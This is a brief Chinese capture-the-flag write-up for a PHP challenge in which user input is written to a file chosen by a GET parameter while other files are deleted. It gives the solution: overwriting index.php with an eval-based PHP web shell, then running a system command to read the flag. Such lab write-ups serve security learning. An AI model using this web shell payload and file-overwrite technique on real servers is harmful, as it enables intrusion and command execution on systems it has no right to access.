源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 04:34:40
*/
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
思路
file_put_contents能把字符串输入到文件中,能创建文件也能覆盖掉文件,不是index.php的文件都会被删除,要么条件竞争用多线程趁创建的文件没有被删,访问;要么直接改index.php本身,以为题库是限制访问速率的,所以只能选择后者
题解
get:?ctf=index.php
post:?show=<?php phpinfo();eval($_POST[0]);?>
再访问 看到phpinfo()说明覆盖成功 直接post
0=system("tac /c*");
拿到flag
总结
水题